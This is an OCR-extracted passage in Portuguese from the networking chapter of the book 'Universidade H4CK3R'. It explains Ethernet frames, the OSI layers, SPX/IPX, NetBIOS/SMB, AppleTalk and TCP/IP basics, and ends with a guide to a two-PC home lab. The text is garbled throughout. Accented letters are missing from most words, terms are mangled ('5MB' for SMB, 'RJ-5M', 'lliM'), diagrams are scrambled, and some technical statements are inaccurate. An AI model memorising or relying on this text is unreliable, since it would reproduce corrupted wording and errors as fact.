Confuso? Talvez a teoria seja, realmente, um pouco hermtica. Alguns exemplos prticos, entretanto, bastaro para mostrar ao leitor que esse mtodo de guardar um envelope dentro do outro no s fcil de entender como facilita as coisas para o projetista. O Ethernet um protocolo de redes de baixo nvel. Ele controla como os dados trafegam na rede local, tanto no controle do meio fsico (sinais eltricos, impedncia, etc) como na montagem de um quadro, chamado Ethernet, contendo informaes sobre endereo de origem, de destino e dados a serem transportados. Se voc abrir um cabo de rede e colocar um analisador lgico para observar o que est trafegando, o que vai aparecer na tela um quadro Ethernet. A estrutura de um quadro Ethernet muito parecida com a do nosso protocolo fictcio. Observe: Cabecalho
Ethe'rnet Dados vindos da camada superior Rodap Ethernet

Um quadro Ethernet possui um tamanho entre 64 e 1519 bytes (ou seja, entre 512 e 12.152 bits).Antes de cada quadro Ethernet, h ainda um trem de 56 bits, alternados entre O e 1, chamado de prembulo e que serve para sincronizar as interfaces de rede4. Um quadro Ethernet completo, incluindo o prembulo, seria:
10101010
10101010 10101010 10101010 10101010 10101010 10101010

I
Endereco Tamanho Prembulo SFD Endereco Destin Origem doQuadro "Payload" FCS

46 a 1500

Os nmeros abaixo de cada campo representam o seu tamanho em bytes. Depois do trem de pulsos do prembulo, temos o Start Frame Delimiter ou SFD.Esse campo tem sempre o mesmo valor binrio (10101011) e serve para, como o nome j diz, indicar o incio "oficial" do quadro. Os prximos dois campos so o endereo de origem e o de destino das interfaces de rede. Esses endereos no so configurados pelo usurio. Pelo contrrio, o fabricante da placa de rede insere, no prprio hardware, um endereo nico no mundo para cada placa. O endereo Ethernet ou MAC adress, como costuma ser chamado, possui seis bytes e representado por nmero hexadecimais. Um exemplo: 00 - 00 - lD - Cl - 47 - FO Os trs primeiros bytes determinam o fabricante da placa. J os trs ltimos, a faixa de endereos que aquele fabricante est autorizado a usar.
4 Para os tcnicos e engenheiros em eletrnica: notem que, como uma seqncia perfeita de zeros e uns, nada mais temos que uma onda quadrada de freqncia constante - um clock!!!

1451
] Redes 1

I Universidade

H4CK3R I

Na lista abaixo, que obviamente est bem simplificada, temos alguns conjuntos de trs primeiros bytes de endereos MAC, indicando diferentes fabricantes:

00 00 OC - Cisco 00 00 lB - Novell
02 60 8C - 3Com

08 00 09 - Hewlett.Packard 08 00 20 - Sun.Microsystems
08 00 5A

- IBM

Faa uma experincia e verifique o endereo MAC de sua placa de rede. Se voc est usando um Windows da famlia Win9x, dique em Iniciar, Executar e rode o programa WINIPCFG. Em um Windows 2000 ou Xp, entre nas suas configuraes de rede e pea para ver o status da conexo. Clique em suporte, depois no boto Detalhes. No Linux e em alguns outros Unix, abra um terminal e use o comando ifconfig. Voltando ao quadro Ethernet, o prximo campo o tamanho do payload. um nmero de dois bytes (portanto, 16 bits), e poderia indicar um tamanho entre 1 e 65.536 para os dados. Na prtica, esse valor varia de 46 a 1500 bytes. O ltimo campo do frame Ethernet o chamado FCS,ou Frame Check Sequence. exatamente aquele nmero de verificao que discutimos em nosso protocolo fictcio. Ele gerado em um n de origem em ftrno dos campos de endereo, tamanho e payload e gravado no campo FCS.Quando o quadro chega no destino, o nmero calculado de novo e comparado com o FCS. Se ambos forem iguais, o quadro est bom. Se diferirem, o quadro est corrompido e ser descartado. Um ltimo elemento, que no faz parte do quadro Ethernet, o chamado Interframe Gap. Depois que o quadro processado pela mquina destino, a interface de rede de origem deixa a rede "em silncio" durante um tempo prdefinido por hardware. Dessa forma, todas as outras interfaces da rede podem estabilizar-se e ficar espera de um novo quadro.
Quadro n+1
I

Quadro n+2

Quadron

I
I

Interframe Gap

Interframe Gap

O protocolo Ethernet, sozinho, daria um livro inteiro. No ser preciso, para nossos propsitos, dissec-Io mais do que apresentamos aqui. Para uma escovao maior de bits, lembre-se de que a Internet sua amiga. Como o leitor ver a seguir, apresentaremos um modelo de referncia para a criao de protocolos. O Ethemet encaixa-se nas camadas 1 e 2 desse modelo de referncia. Pode parecer estranho ter "adiantado o expediente", falando sobre Ethemet antes de tudo, mas precisvamos de um exemplo prtico de protocolo. Como se pode ver, est tudo dentro do projeto pedaggico ;-)

1461 Redes 1I

Universidade 1ano

o Modelo 051
Podemos dizer que o modelo de referncia OSI(Open Systems Interconnection) nasceu da necessidade de criar um protocolo que conseguisse se comunicar entre redes diferentes. As redes antigas de computadores possuam protocolos proprietrios. Se a empresa X implantasse uma rede, esta s poderia se comunicar e ser expandida com outras redes e equipamentos construdos pela mesma empresa. A tecnologia utilizada era de conhecimento de apenas um fabricante, no era possvel adquirir o hardware com uma empresa e instalar a rede com outra. Os clientes ficavam de mos atadas, pois no havia concorrncia e nem sempre o fabricante proporcionava a melhor soluo. Como o prprio nome diz, o OSI um modelo de referncia, no um protocolo. Vamos tentar ilustrar de uma maneira bem simples: pense num processador de textos. O Microsoft Word, por exemplo. Existem diversos modelos de documentos (chamados templates) a partir dos quais podemos criar nossas prprias cartas, folhas de. rosto de fax ou memorandos. Imagine o modelo de referncia OSI como um template para criar protocolos de rede. Fcil, no? O modelo foi desenvolvido pela ISO (lntemational Standards Organization), e tomou-se um padro para que os fabricantes passassem a desenvolver seus protocolos a partir desse modelo. Ainda assim, voc pode notar que os protocolos existentes no seguem risca essas especificaes, alguns por serem mais antigos que elas, outros por atingirem a objetivos tcnicos especficos, e uns poucos por pura arrogncia corporativa.

Camadas
o modelo OSI formado por sete camadas, cada uma com uma funo diferente. As camadas criam um envelope com os dados da camada superior, incluem seus prprios cabealhos e entregam isso para a camada imediatamente inferior. Quando o pacote chega na camada de nvel mais baixo, est pronto para ser transmitido. As camadas so organizadas segundo este modelo:

7 6 5 4
I

Aplicao Apresentao I Sesso

I Transporte Rede 3 2 1 Enlace Fsica

1471

] Redes 1

I Universidade H4CK3R I

Modelo OSI representado

pelas Matrioshkas

Quando um pacote enviado de um dispositivo que segue o modelo OSI para outro, as camadas do remetente se comunicam apenas com as camadas correspondentes no receptor. Isso significa que as camadas identificam os cabealhos equivalentes que foram includos no processo de encapsulamento, fazendo assim com que o prximo nvel no precise lidar com as informaes dos nveis anteriores. Trocando em midos, a camada 4 no tem a mnima idia do que as camadas 3,2 e 1 fazem com os dados. Tudo o que ela sabe que fez um envelope e o entregou camada 3. L no outro lado da conexo, no receptor, a camada 3 entregar o envelope fechado para que a camada 4 abra. Podem ter havido mudanas de protocolo nas camadas inferiores, fragmentao de pacotes, troca de ordem, no importa. A camada 4 s quer saber o que est em seu envelope. Isso vale para todas as camadas e toma o funcionamento de cada uma independente das outras. Como dissemos, cada camada possui uma funo especfica. Se tomarmos como ponto de partida que cada uma delas representa, na realidade, algum software que desempenha as funes descritas (com exceo da camada 1, que implementao de hardware), veremos que o modelo proposto, em vez de ser abstrato, at bem palpvel. 7 - Camada de Aplicao A camada de aplicao , como o nome j diz, o prprio aplicativo. Em outras palavras, o programa que voc est usando. Por exemplo, seu navegador Web est na camada de aplicao, e fala diretamente com o servidor Web que est l na outra ponta da conexo. H, portanto, uma "conversa a dois" entre os programas. No , verdadeiramente, parte da rede. Do contrrio, essa camada representa todos os programas que querem acessar a rede e no sabem como faz-Io.A nica forma de os programas que usamos conseguirem se comunicar com outros programas em outras mquinas "falando" com a camada 6.

1481
Redes1 r

Universidade 1ano

6 - Camada de Apresentao Chamada, por muitos, de "a camada sem funo" ou "a camada intil". Na teoria, serve para preparar os dados no domnio local e coloc-Ios em um formato compatvel com procedimentos de transporte. No caminho inverso, padroniza os diferentes tipos de dados de uma forma que qualquer aplicao possa ser escrita para usar a rede, independente das implementaes das cinco camadas inferiores. Dois exemplos de servios executados nessa camada so a criptografia e a compresso de dados. Na prtica, essa funo trivial e implementada na prpria aplicao. 5 - Camada de Sesso A camada de sesso responsvel pelo estabelecimento de conexo entre dois computadores que esto se comunicando. Ela controla o dilogo entre as aplicaes nos sistemas local e remoto. Tambm possvel agrupar dados em blocos e marc-Ios depois de enviados. Caso haja uma interrupo na conexo, a prxima sesso poder recomear a partir do fun do ltimo bloco enviado.

4 - Camadade Transporte
A camada de transporte fornece meios para que os ns local e remoto possam trocar dados. Usando uma analogia um pouco imprecisa, os programas da camada 4 montam um "cano" entre a camada 5 local e a camada 5 remota. Se os softwares de camada 5 de ambas as mquinas olharem pelo cano, vero, do outro lado, seu companheiro. atravs desse encanamento disponibilizado pela camada 5 que toda a "mgica" das camadas anteriores acontece. 3 - Camada de Rede At agora, estvamos no mbito exclusivo do software. As camadas anteriores comunicam-se diretamente com o programa correspondente das mquinas remotas. A camada 3, por outro lado, conhece a topologia e a distribuio da rede e sabe como encontrar uma mquina em especial no meio da selva de endereos e caminhos. A camada de rede no orientada conexo como a camada de transporte. Os pacotes so enviados sem que se saiba se vo chegar ou no. Como a conexo estabelecida na camada imediatamente superior (que, por sinal, est encapsulada nesta), isso no chega a ser um problema. 2 - Camada de Enlace A camada de enlace responsvel pela comunicao direta entre duas interfaces numa mesma rede. No tem conhecimento de outras redes alm da sua, funo da camada superior. Por outro lado, a camada que, na rede de origem e na de destino, efetivamente recolhe e entrega o pacote interface de rede correta. Controle e deteco de erros fazem parte do seu mtier.

1491
] Redes 1

I Universidade

H4CK3R I

1 - Camada Fsica Como o prprio nome indica, a responsvel pelo envio dos quadros para o meio fisico.A converso feita a partir dos Os e ls do quadro (sistema binrio) e adaptada para o meio, no caso de um meio eltrico, so transformados em sinais eltricos, num meio tico, sinais luminosos e assim por diante.

Um exempLo prtico
Para entender melhor, uma pequena alegoria: um jogo, por correspondncia, entre dois enxadristas, um em Teresina e outro em Goinia5. Os enxadristas so os usurios. O jogo em si (tabuleiro, peas e regras) a aplicao (camada 7). As jogadas so registradas em notao tabular (por exemplo, o movimento de um cavalo poderia ser B3C5) e escritas em folhas de papel - essa a forma de apresentao do jogo (camada 6). Note que no basta simplesmente colocar uma papeleta no envelope com a notao da jogada. de bom tom escrever uma carta completa, com data, saudao e assinatura, perguntar como vai a famlia, o trabalho, frias, etc. para que se crie um vnculo ntimo entre os dois. Mas como enviar a jogada ao outro enxadrista? Bem, necessrio estabelecer uma sesso (camada 5) de comunicao. Em nosso caso, a requisio da sesso representada pelos servios da ECT.Colocamos a carta no envelope, endereamos (no esquea o CEP!), selamos e colocamos na caixa de correio. Do outro lado, nosso colega vai abrir a carta e estabelecer a sesso. A ECT responsvel pelo transporte de nossa carta (camada 4). Isso significa criar meios para que uma conexo entre os dois enxadristas seja estabelecida. Quando colocamos a carta na caixa de correio, esperamos que, de algum jeito, ela chegue s mos do destinatrio. Os mecanismos usados para tal no nos interessam. A ECT separa as cartas por regio, depois por estado, depois por cidade, depois por logradouro. Uma vez separadas, monta pacotes de cartas destinadas a cada logradouro e os envia para l. Utiliza-se, para tal, uma rede de vias rodovirias, ferrovirias e aeronuticas (camada 3) e um exrcito de carteiros para entregar as cartas. Os caminhes, nibus, avies, motocicletas e as bolsas dos carteiros so os elementos que transportam os pacotes de cartas dentro de uma mesma rede viria. Os caminhes s andam nas estradas, os avies s voam, os carteiros s andam nas cidades. Nenhum deles conhece os detalhes de toda a rota das cartas, sabem apenas como entregar as cartas localmente. So nossa camada 2. Note que, caso seja preciso trocar de tipo de rede (por exemplo, sair de um avio e entrar num nibus), nossas cartas so tratadas por funcionrios dos correios que trabalham em atividades prprias da camada 3. Eles sabem mapear entre as redes. Os pilotos dos avies, por exemplo, no entendem nada disso.
5 Apesar das facilidades da Internet e da Telefonia, um jogo por cartas mais romntico e mais barato...

150 I
Redes 1[

Universidade

,0ano

Os avies utilizam-se do ar para sustentao e navegao. J os caminhes trafegam pela estradas. Os carteiros andam por cada lugar que mereceriam muitas medalhas (nem o vento, nem a chuva...). O ar, as estradas e os morros so nossos meios fsicos, por onde feito o transporte de tudo o que descrevemos nas camadas superiores. Ufa! Descrevemos pelo modelo OSI, com um exemplo no-tecnolgico (tanto o correio quanto o xadrez existem h milhares de anos...), um mtodo de transporte de mensagens entre duas aplicaes. H coisas bem interessantes a se observar nesse exemplo, o que comprova todas as teorias envolvidas no modelo de referncia. ~ Encapsulamento: A jogada foi encapsulada na notao tabular, que foi encapsulada na carta, que por sua vez foi encapsulada em um envelope, que estabeleceu uma sesso de comunicao usando os protocolos de classificao e transporte dos Correios, que envia pacotes de cartas segundo rotas especficas, que para isso trafegou em veculos que rodavam exclusivamente dentro do meio fsico especfico para os quais foram feitos. ~ Paridade: Cada uma das camadas possui um emissor e um receptor. O pessoal de classificao e envio (camada 3) "conversa" com o mesmo pessoal da outra localidade, usando os recursos da camada inferior (o caminho, por exemplo). ~ Conexo: A partir da camada quatro, vemos que todos os procedimentos precisaram que o emissor e o receptor entrem em negociao. Da camada 3 para baixo, as cartas so transportadas indiscriminadamente, sem se importar se haver algum l para receb-Ias. No chega a ser um problema: se apenas uma das camadas estabelecer um canal de conexo permanente, as outras ca-

madas podem trafegar" connection1ess".


~ Independncia: As camadas so completamente independentes. A camada 4 - os setores de recebimento e entrega de cartas - no precisam saber quais rotas o pessoal da camada trs - os setores de redes de transporte utilizou. Esse pessoal trata de coordenar os diferentes meios de transporte

nossa camada 2 -, mas no se preocupa com os problemas inerentes ao transporte - qual caminho designar, combustvel, motorista, problemas com greves, sindicato... J o motorista, alm de no saber por quais outros meios de transporte as cartas trafegaram, muito menos o contedo de cada carta individual, preocupa-se apenas em gerenciar os problemas inerentes ao seu trabalho: seguir a rota designada pelo pessoal da camada trs, operando o caminho de acordo com as leis de trnsito, desviando de buracos, atravessando enchentes, etc. Nenhum dos enxadristas (camada 7) sequer se incomoda em conhecer qualquer uma dessas partes do processo. Para eles, o que vale mexer o cavalo de acordo com B3C5.

I 51 I I Redes 1

I Universidade

H4CK3R I

SPX!IPX
o Sequenced Packet Exchange/lnternet Packet Exchange o protocolo utilizado pela rede Netware da Novell. Implementa as camadas 3 e 4 do modelo de referncia OSI, e utiliza, como protocolo de camada 2, exclusivamente o Ethernet. Por muitos anos, Netware e Ethernet foram considerados sinnimos. Possuem diversas semelhanas com o TCP/lP. J foram os protocolos mais populares, mas, sendo o TCP/lP a base da Internet, acabaram caindo em desuso. ~ IPX - O IPX seria o equivalente ao protocolo de redes. uma implementao muito volumosa e cheia de recursos. Tem algumas caractersticas vantajosas como a deteco de endereos MAC e atribuio automtica de endereo IPX, ao contrrio de outros protocolos como o Ip, que fazem com que o usurio tenha de atribuir manualmente um endereo para. cada interface ou configurar um servio externo que automatize a tarefa. ~ SPX - Da mesma forma que o IPX, o SPX tem correspondncia com o protocolo OSI de transporte. Uma das caractersticas mais importantes dessa implementao que o SPX tem de receber a confirmao dos pacotes enviados antes de poder enviar outro, o que traz prejuzos para o desempenho da rede.

Camadas
As camadas do protocolo IPX/SPX atuam praticamente da mesma forma que no padro TCP/IP; so elas: Aplicao, SPX,IPX, ODI/Ethernet e a camada de Interface com a Rede.

Aplicao SPX IPX ODI7Eihernet Interface com a rede Cada um dos protocolos de todas as camadas Netware foram especialmente projetados para permitir elevada confiabilidade e desempenho. Vrios flags de controle e sistemas redundantes de verificao de erros e reenvio de pacotes so empregados. A prpria camada ODI representa um encapsulamento do protocolo Ethernet para faz-Io atender s exigncias dos projetistas na Novell. Mas, como nem tudo so flores, aumentar o nmero de controles que garantam confiabilidade tem como reflexo a queda do desempenho em proporo direta. Esse foi um dos inmeros fatores que contriburam para a derrocada do SPX/lPX como famlia popular de protocolos de rede. 1521
Redes 1 r

Universidade 1ano

NetBI05/ NetBEUI / 5MB / CIF5


No h nada mais manjado para usurios corporativos de redes Windows que a facilidade e a rapidez de compartilhar com outros colegas alguma impressora ou pasta. possvel at disponibilizar um drive de CD, CD-R, CD-RW; DVD, Zip ou mesmo de disquete. O Network Basic Input Output System foi concebido pela lliM e extendido pela Microsoft e Novell para uso em suas respectivas redes locais, o PC Network, o Lan Manager e o Netwate 2.0. Como o nome realmente sugere, o NetBIOS uma srie de extenses de entrada/sada para que o vell10 sistema operacional MS-DOS e seus descendentes possam acessar redes locais. O NetBIOS baseia-se em um formato de mensagens chamado Network Control Blocks (NCB), que trafegavam pela rede "de carona" nos protocolos de camada 2 existentes. Dentro dos NCBs, trafega um outro protocolo chamado de Server Message Blocks ou 5MB6, que informa onde esto as mquinas, quem so elas, quais seus MAC addresses e quais recursos (discos ou impressoras) tm para compartilhar. Pode ser encontrado agindo sobre placas do padro Ethernet, Token Ring e num fmado padro Windows NT. O NetBIOS implementa as funes das camadas 4 (transporte) e 5 (sesso) do modelo de referncia OS!. O 5MB implementa funes das camadas 6 (apresentao) e sete (aplicao). Entretanto, eram apenas intelfaces de programao e no implementao de protocolos, e nunca foram implementadas as funes correspondentes s camadas 2 (data link) e 3 (rede). Com o tempo, o NetBIOS foi incorporado como uma API de programao do recente protocolo conhecido como NetBEUI (NetBIOS Enhanced User Interface). S no NetBEUI, a lliM e a Microsoft implementaram, fmalmente, um quadro padronizado para transmisso na camada 4. A camada 3, porm, ficou ainda de fora, no sendo possvel rotear o NetBEUI entre redes diferentes. A dupla NetBIOS/NetBEUI sempre foi louvada por seu desempenho em redes locais, normalmente pequenas. Entretanto, sua efetividade desaparece em redes com mais de 80 computadores interligados. As recomendaes da poca eram de instalar o NetBEUI com outro protocolo de camada 3 (como IPX ou IP) e segmentar a rede. Hoje, sabe-se que tal prtica invivel para grandes redes, e um tremendo furo de segurana. No primeiro caso, no se consegue isolar os segmentos de rede com bridges e muito menos as redes com roteadores porque a resoluo de nomes e entrega de mensagens entre estaes se d por meio de broadcasts - mensagens destinadas toda a rede indiscriminadamente. O segundo problema bem pior: adicionando capacidades de roteamento ao NetBIOS, abriu-se as portas para que pessoas mal intencionadas em todo o mundo bisbilhotem em sua rede via Internet sem precisar de outra ferramenta, alm do Internet Explorer. A mistura IP/NetBEUI tu ruim que a prpria Microsoft descontinuou o

suporte a NetBEUI no Windows XP.A soluo usar 5MB (uma implementao de camada 7) diretamente sobre TCP /lp.
6 As novas verses do 5MB foram rebatizadas
trazerem algumas melhoras e novas caractersticas, de Comnon Internet File 5ystem, mas, apesar de ainda trata-se do velho e bom 5MB.

1531
] Redes 1

I Universidade

H4CK3R I

Camadas
Incrivelmente, as solues baseadas em NetBIOS possuem, hoje em dia, implementaes para TODAS as camadas do modelo de referncia OSI, com exceo da camada de rede. O que no chega a ser problema, pois fcil "encostar" o NetBIOS em uma rede IP ou IPX existente. Como se no bastasse, possvel implementar uma rede Microsoft suprimindo qualquer um dos protocolos de camadas intermedirias, ou mesmo todos. Observe:
5MB/CIFS

NetBEUI/NetBIOS RFC 1001 RFC1002 No

/I~

NetBIOS/TCP/IP NetBIOS/SPX/IPX

TCP/IP

primeiro caso, temos a implementao original, ou seja, 5MB(Camadas7

e 6) sobre NetBIOS/NetBEUI (5/4) sobre Ethernet (2). Essa era a soluo no rotevel, pois no h protocolo de camada de redes na cadeia. No segundo caso, temos 5MB(7/6) sobre NetBIOS (5),TCP/lP (4/3) ou sobre SPX/lPX (4/3) sobre Ethernet (2). Nessa implementao, temos o conjunto completo de camadas OSI implementadas por algum protocolo. Se por um lado isso agrada aos redatores de normas, por outro cria uma pilha de protocolos muito pesada e cheia de furos de segurana. Se for usar a Internet, melhor no ir por esse caminho. O terceiro o mais radical. Todos os antigos protocolos NetBIOS foram simplesmente desprezados, uma vez que a Microsoft "deu um jeito" de fazer o 5MB funcionar diretamente sobre TCP/lp. Se por um lado h ganho de desempenho e segurana, perde-se a API facilitada para escrever programas para rede. Podemos, ento, estratificar esses protocolos (incluindo os externos de camadas 4, 3 e 2) da seguinte maneira:
5MB/CIFS (7 e 6) NetBIOS/NetBEUI/NMB (5 e 4)

TCP/IP ou IPX/SPX (4 e 3) Ethernet (2 e 1)

Apesar de sua idade e suas falhas, protocolos baseados em 5MB/CIFSso muito populares ainda hoje pela facilidade com que os usurios podem compartilhar recursos de seus computadores. Em redes bem administradas isso pode aumentar a produo. Em redes mal administradas, pode aumentar a confuso... Em ambos os casos, a implementao de redes mais utilizada da face da Terra.

j41 Redes1 r

Universidade 1 ano

Appletalk
O AppletaIk, como o prprio nome sugere, o protocolo proprietrio utilizado nas redes de computadores Apple. composto por protocolos de transporte e entrega, o ATP(AppleTalkTransport Protocol) e o DDP (Datagram Delivery Protocol), equivalentes s camadas 4 e 3 do modelo de referncia OSI, respectivamente. Aplicao Sesso Transporte Entrega de Datagramas Acesso rede

Camadas
o modelo AppleTalk est dividido em cinco camadas: aplicao, sesso, transporte, entrega e acesso rede. Muito semelhante com o padro OS!.

TCP/IP
o
protocolo conhecido como TCP /lP (Transmission Control Protocol!

Internet Protocol) , atualmente, o padro de fato. Foi concebido justamente para trabalhar nas camadas 3 e 4 do modelo OSI e, portanto, ser completamente rotevel. Sua criao teve propsitos acadmicos e militares, pois foi utilizado em diversas redes de universidades e de defesa norte-americanas nas dcadas de 70 e 80. O protocolo atingiu a "fama" com a Internet e est implementado em praticamente todos os sistemas operacionais existentes.

Camadas

o TCP/lP est dividido em diversas camadas, como veremos a seguir: ~ Camada de aplicao: Responsvel pela comunicao entre o protocolo destinado ao transporte e os aplicativos em execuo, como o DNS, FTP, HTTP e SMTP, entre outros. Corresponde s camadas OSI 7, 6 e 5 e implementado nos prprios programas (camada 7). . ~ Camada de Transporte: Cria a conexo virtual entre dois computadores, exatamente como descrito do modelo OS!. ~ Camada de Internet: Responsvel pela organizao e roteamento pacotes defmindo seus endereos. ~ Camada de Interface com a Rede: Responsvel pelo envio dos datagramas proAplicao venientes da camada de Internet. No faz parte do protocolo TCP/lP,mas um componente obrigatrio. Normalmente usado o proTransporte Internet tocolo Ethernet, embora o TCP/lP seja completamente independente e possa trafegar em Interface com a Rede meios to dspares como fibras ticas/FDDI, 1inks de rdio, X.25 ou Frame Relay. dos

1551 ] Redes 1

I Universidade

H4CK3R

Entendendo o TCP!IP
A famlia de protocolos TCP/lP a base de Internet e da maioria das redes de computadores espalhadas pelo globo. Para entender como essas redes funcionam, necessrio ter uma noo de como o protocolo TCP/lP gerencia o envio e recebimento de dados entre dois ns. Note que chamamos o conjunto de protocolos TCP/lP de famlia. H mais deles do que apenas esses dois, que do nome famlia (e so, realmente, os mais importantes). Alm deles, existe o UDP (User Datagram Protocol) e o ICMP (Internet Control Message Protocol), entre outros. TCP e UDP so protocolos de camada 4, ou seja, propiciam mtodos para que os dados vindos da camada 5 sejam transportados at o n destino. IP e ICMp'por outro lado, so protocolos de camada 3, o que significa oferecer insumos para que a camada 4 possa fazer seu servio. O TCP/lP e protocolos auxiliares esto definidos em uma srie de documentos mantidos pelo Interbet Engineering Task Force (lETF). Procure pelas RFCs 791,792 e 793 no site oficial: www.ieticom/rfc.htm1. Embora vamos estudar o TCP/lP com detalhes no captulo complementar a este, Redes 11,alguns aspectos devem estar claros para que possamos continuar a leitura deste livro.

o protocolo IP
o grande agente transportador
de nossos dados entre as diferentes redes

o protocolo IP. O protocolo define um pacote de dados, que contm campos parecidos com os campos que vimos no quadro Ethernet e uma rea para transportar os dados vindos da camada superior. Entre esses campos, temos os endereos IP de destino e origem, flags de controle e verso - em suma, tudo o que se espera de uma implementao real de um protocolo. Um pacote IP parece-se com este: Verso

IHL

Tipo de Servio "Flags"

TamanhoTotal

Identificao Protocolo Tempo deVida

Fragmentao

Nmero de Verificao

Endereo IP de origem Endereo IP Destino Opes (se houverem)

Enchimento

Dados

56 I
Redes 1 r

Universidade 1ano

Endereo IP
Um nmero de IP contm 4 bytes com tamanho especficos no formato: 000.000.000.000, em que cada byte pode incorporar um valor que vai de O at 255, como em 198.254.10.1. Outra informao pertinente a de que no deve haver duas mquinas com o mesmo endereo IP em uma mesma rede, pois isso causaria conflito nas mquinas e uma delas estaria impossibilitada de se conectar rede. Mscara de Rede Possui o mesmo formato do endereo IP (000.000.000.000), mas afeta apenas um segmento particular da rede. utilizada para dividir grandes redes em redes menores, facilitando a administrao e reduzindo trfego exprio.

TCP/UDP
Dentro dos pacotes IP, podemos transportar dois tipos de pacotes de dados pertencentes camada 4. Um deles, o TCp, o meio utilizado pela maioria dos servios para carregar informaes entre as duas extremidades da conexo, e possui caractersticas de controle de fluxo e recebimento. O outro o UDp, mais simples e sem qualquer tipo de controle, mas rpido e com impacto menor no desempenho da rede.

Portas
O pacote IP est relacionado rede, e portanto sabe apenas levar seus dados de um lado a outro. J os pacotes TCP e UDP esto mais relacionados aplicao ou servio que est enviando ou transmitindo os dados. Cada um desses servios est relacionado a um nmero chamado porta. Por exemplo, em um servidor qualquer, a porta TCP 80 oferece o servio HTTP,enquanto a porta UDP 53 pode oferecer um servidor de DNS.

DNS
O Domain Name Server traduz um nome de fcil memorizao em um nmero de IP.Por exemplo, vamos supor que o IP de um servidor na Internet seja 200.167.208.1, o DNS poder atribuir um nome a ele para que sua localizao seja mais fcil, como www.siteprocurado.com.br.Ao colocar esse endereo legvel no browser, esse vai entrar em contato com o servidor de DNS e fazer a converso para nmero IP.

ARP
Similar ao DNS, mas faz a traduo do endereo IP em endereo MAC. Quando o pacote IP chega rede destino, deve haver um mecanismo que diga ao pacote para qual mquina ele deve se dirigir. Como o nmero IP est contido no pacote, faz-se uma pergunta a todas as mquinas da rede: "quem tem meu IP"?A interface configurada com aquele IP responde com o endereo MAC,e o pacote enviado a ela. 1571

] Redes 1

I Universidade

H4CK3R I

Laboratrio

de Redes

o laboratrio de Redes I tem como objetivo auxiliar o leitor iniciante na montagem de uma rede domstica. Mas qual a utilidade desse tipo de rede para o futuro hacker ou administrador? A resposta bem simples: testar tcnicas de ataque e defesa em uma rede fechada. Isso pode englobar desde a instalao de um firewall caseiro at o teste com vrus e trojans. Obviamente, so necessrios pelo menos dois computadores para que a rede seja criada. Como a inteno montar uma rede para testes, voc pode optar por computadores mais antigos e sem tantos recursos, como CD-ROM e hardware de som. A seguir, vamos conferir os passos para a montagem da rede desde a parte fsica at as configuraes necessrias. Recursos necessrios ~ 2 computadores; ~ 2 placas de rede (pCI ou ISA); ~ Cabos de par tranado na configurao cross-over; ~ Sistema operacional (nesse caso, estaremos trabalhando com Wmdows 9x).

Instalao da parte fsica


Aps a escolha das placas de rede, chega o momento de instal-Ias nos computadores. Essa no uma tarefa difcil, basta apenas que voc tome cuidado para no danificar o equipamento. Aps a abertura do gabinete, devemos procurar um slot livre para acomodar a placa de rede. Geralmente, eles ficam situados na parte inferior direita da placa-me, como mostra a figura:

Slot ~ "",,,,,.,,,,,,,,,,,,,,,,,,,,,,,, """ ""


""'''''''''''''''''''''''''''''''''''''''' '''''''''' '''''''''' '''''''''' ,,,,,,,,,,,.,, """ "" """'''''''''''''''''' ''''''''''

""""""",,,,,,,,,,,,.,,,,,,, """"" """""'''''''''''''''''''''''' "'''''''' '''''''''''''''''''' """ """" "''''' ", """"""""""""'''''''''''''''''''' """""""""""""""""""""" """"""""""""''''''''''''''''''''

............................... .......................
........................ ...............................

11111111111111111.

.11111111111111111.

158 I Redes 1 r

Universidade 1ano

Aps a ftxao da placa, reinicie o computador. Provavelmente o sistema operacional vai detectar a presena de um novo hardware e apresentar uma janela com as opes para a instalao. Opte sempre por instalar os drivers originais que acompanham a placa. O Windows vai concluir a instalao e ento s repetir o processo no outro computador. Aps decidir onde as mquinas ftcaro localizadas, chega a hora de colocar os cabos para concluir a parte fsica da rede. Como estamos tratando da conexo de apenas dois micros, usaremos cabo conhecido como cross-over. Os cabos de rede possuem pequenos ftos que devem estar dispostos em uma certa seqncia para que possa haver a troca de dados, no caso do cross-over, preciso inverter alguns desses ftos. As lojas de informtica j vendem esses cabos prontos, mas, se voc quiser aprender como mont-Ios, observe no quadro abaixo a seqncia correta de clipagem no cabo, lembrando que o conector (ponta do cabo) deve ser RJ-5M: Ponta A 1- Branco/iaranja 2- Laranja 3- Branco/Verde 4- Azul 5- Branco/Azul 6- Verde 7- Branco/Marrom 8- Marrom Ponta B l~Branc()/Verde . 2- Verde 3- BrancolLaranja 4- Azul 5- Branco/Azul 6- Laranja 7- Branco/Marrom 8- Marrom

Agora, basta apenas configurar os computadores para estabelecer uma conexo de rede. Ateno! Nunca use um cabo cross-over em uma rede com hubs. A risco de danillcar o equipamento.

Configurando a rede
Com todas as instalaes de hardware completas, chega a hora de conftgurar os computadores. Para montagem da rede, vamos utilizar o protocolo TCP/lP visto anteriormente, pois esse mais flexvel e conftvel.A conftgurao do endereo IP ftca a critrio de quem est montando a rede, isso porque o prprio Wmdows pode designar um IP automaticamente para cada mquina se desejado. Aqui, ns atribuiremos manualmente os IPs.

Windows 9.x
Em primeiro lugar, voc dever utilizar a faixa IPs que esto reservadas para as redes domsticas. Esse nmero ftca entre 192.168.0.1 e 192.168.255.254, alm disso, o endereo de cada micro deve ser diferente para que no haja conflito entre os dois. Tambm devemos conferir se o protocolo TCP/lP est instalado. Para tanto, abra o painel de controle e v em "Redes", se o protocolo no estiver

1591

I Redes 1

I Universidade

H4CK3R I

listado na guia "Configurao", ento ser necessrio instal-Io. Aproveite tambm para instalar o "Cliente para redes Microsoft" e o "Compartilhamento de arquivos e impressoras para redes Microsoft". Ento, dique no boto "compartilhamento de arquivos e impressoras" e marque a opo "Desejo que outros usurios tenham acesso aos meus arquivos". Aps decidir o nmero de Ip, hora de prosseguir. Abra novamente o cone de redes no painel de controle, escolha o protocolo TCP/lP e clique no boto de propriedades. Uma nova janela ser aberta, ento clique na guia "Endereo IP" e marque a opo "Especificar um endereo IP", preencha o campo do IP com o nmero de sua preferncia e, no campo da sub-mscara de rede, voc deve colocar o seguinte nmero: 255.255.255.0. Agora ns devemos identificar o computador e o grupo de trabalho, para isso, dique na guia "Identificao" na janela de redes. Lembrando que o nome dos computadores pode ser diferente, mas a grupo de trabalho deve ser o mesmo. O computador ser reinicializado, mas desta vez, ele pedir uma senha e um login para a rede. Pronto, se os dois computadores estiverem conectados e configurados corretamente, voc deve ter sua rede rodando sem problemas. Para compartilhar uma pasta, basta apenas clicar com o boto direito do mouse na pasta desejada e acessar as opes 